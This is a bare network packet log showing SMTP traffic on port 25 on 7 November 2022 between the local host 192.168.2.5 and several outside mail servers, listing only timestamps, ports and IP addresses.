Nov 7, 2022 22:24:15.589381933 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.589401960 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.589418888 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.589437008 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.589453936 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.589473009 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.589492083 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.589509964 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.589528084 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.589545012 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.589561939 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.589580059 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.589597940 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.589615107 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.589632988 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.589649916 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.589668989 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.589685917 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.589703083 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.589721918 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.589739084 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.589756966 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.589790106 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.589808941 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.589824915 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.589840889 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.589857101 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.589874029 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.589893103 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.589910030 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.589929104 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.589946032 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.589962959 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.589979887 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.589997053 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.590014935 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.602796078 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.602814913 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.602830887 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.602849007 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.602865934 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.602909088 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.602926970 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.602943897 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.602960110 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.602977991 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.602994919 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.603199005 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.603216887 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.603234053 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.603251934 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.603322983 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.603341103 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.603359938 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.603378057 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.603400946 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.603419065 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.603435993 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.603454113 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.603471041 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.603491068 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.603508949 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.603528023 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.603547096 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.603914022 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.603940010 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.603959084 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.603976965 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.603993893 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.604012966 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.604029894 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.604048014 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.642734051 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.642785072 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.642915964 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.642959118 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.642980099 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.643248081 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:15.710325956 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.716962099 CET	25	49697	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:15.719022036 CET	49700	25	192.168.2.5	104.47.55.138
Nov 7, 2022 22:24:15.755425930 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:15.766160965 CET	25	49701	209.51.188.92	192.168.2.5
Nov 7, 2022 22:24:15.770629883 CET	25	49702	209.51.188.92	192.168.2.5
Nov 7, 2022 22:24:15.809799910 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:15.809950113 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:15.824269056 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:16.005814075 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:16.006112099 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:16.043888092 CET	25	49701	209.51.188.92	192.168.2.5
Nov 7, 2022 22:24:16.061641932 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:16.062752962 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:16.062997103 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:16.076757908 CET	25	49702	209.51.188.92	192.168.2.5
Nov 7, 2022 22:24:16.119026899 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:16.121134996 CET	49701	25	192.168.2.5	209.51.188.92
Nov 7, 2022 22:24:16.123682976 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:16.181869030 CET	49702	25	192.168.2.5	209.51.188.92
Nov 7, 2022 22:24:16.182831049 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:16.320144892 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:16.376761913 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:16.431005955 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:16.433662891 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:16.527507067 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:16.640856028 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:16.700747013 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:16.771279097 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:16.826898098 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:17.121884108 CET	49698	25	192.168.2.5	85.187.148.2
Nov 7, 2022 22:24:17.533957005 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:17.588056087 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:17.588246107 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:17.642131090 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:17.642177105 CET	49701	25	192.168.2.5	209.51.188.92
Nov 7, 2022 22:24:17.642251015 CET	49702	25	192.168.2.5	209.51.188.92
Nov 7, 2022 22:24:17.642281055 CET	49697	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:21.067055941 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.121201038 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.121247053 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.121263027 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.121289015 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.121303082 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.121305943 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.121315002 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.121330023 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.121341944 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.121407986 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.121423960 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.121424913 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.121424913 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.121424913 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.121424913 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.121524096 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.121524096 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.121524096 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.121524096 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.175357103 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.175407887 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.175440073 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.175467968 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.175498009 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.175519943 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.175525904 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.175519943 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.175519943 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.175519943 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.175558090 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.175591946 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.175622940 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.175633907 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.175633907 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.175653934 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.175687075 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.175688028 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.175688982 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.175717115 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.175740004 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.175740004 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.175746918 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.175774097 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.175779104 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.175801039 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.175812006 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.175838947 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.175841093 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.175873995 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.175904989 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.175934076 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.175949097 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.175949097 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.175966024 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.175992966 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.176017046 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.176039934 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.229841948 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.229878902 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.229893923 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.229906082 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.229918003 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.229931116 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.229945898 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.229981899 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.229981899 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.230087996 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.230102062 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.230103016 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.230102062 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.230118990 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.230154991 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.230154991 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.230200052 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.230262995 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.230278969 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.230292082 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.230326891 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.230365992 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.230470896 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.230508089 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.230520964 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.230540037 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.230617046 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.230648041 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.230739117 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.230740070 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.230740070 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.230772972 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.230849981 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.230858088 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.230992079 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.231025934 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.231039047 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.231053114 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.231123924 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.231271029 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.231339931 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.231378078 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.231477976 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.231492043 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.231498003 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.231534958 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.231583118 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.231589079 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.231589079 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.231589079 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.231589079 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.231623888 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.231652021 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.231688023 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.231703997 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.231739998 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.231766939 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.231797934 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.231914997 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.231928110 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.231940985 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.231973886 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.231997967 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.231997967 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.232042074 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.232069016 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.232125998 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.264713049 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:21.284003973 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.284039974 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.284055948 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.284070015 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.284085035 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.284097910 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.284110069 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.284126997 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.284128904 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.284128904 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.284148932 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.284158945 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.284168005 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.284177065 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.284190893 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.284200907 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.284214973 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.284219980 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.284220934 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.284226894 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.284241915 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.284257889 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.284290075 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.284327984 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.284341097 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.284348011 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.284356117 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.284369946 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.284383059 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.284396887 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.284409046 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.284424067 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.284431934 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.284444094 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.284451962 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.284462929 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.284466028 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.284462929 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.284558058 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.284560919 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.284574032 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.284588099 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.284596920 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.284620047 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.284624100 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.284651041 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.284658909 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.284671068 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.284720898 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.284725904 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.284756899 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.284770966 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.284782887 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.284804106 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.284830093 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.285010099 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.285096884 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.285157919 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.285222054 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.285232067 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.285244942 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.285314083 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.285317898 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.285314083 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.285351992 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.285363913 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.285368919 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.285377026 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.285394907 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.285403013 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.285407066 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.285419941 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.285448074 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.285454035 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.285448074 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.285468102 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.285480976 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.285491943 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.285501003 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.285547972 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.285548925 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.285548925 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.285548925 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.285635948 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.285640955 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.285696983 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.285710096 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.285722017 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.285733938 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.285744905 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.285758018 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.285769939 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.285780907 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.285793066 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.285804987 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.285816908 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.285868883 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.285881996 CET	25	49707	142.250.150.27	192.168.2.5
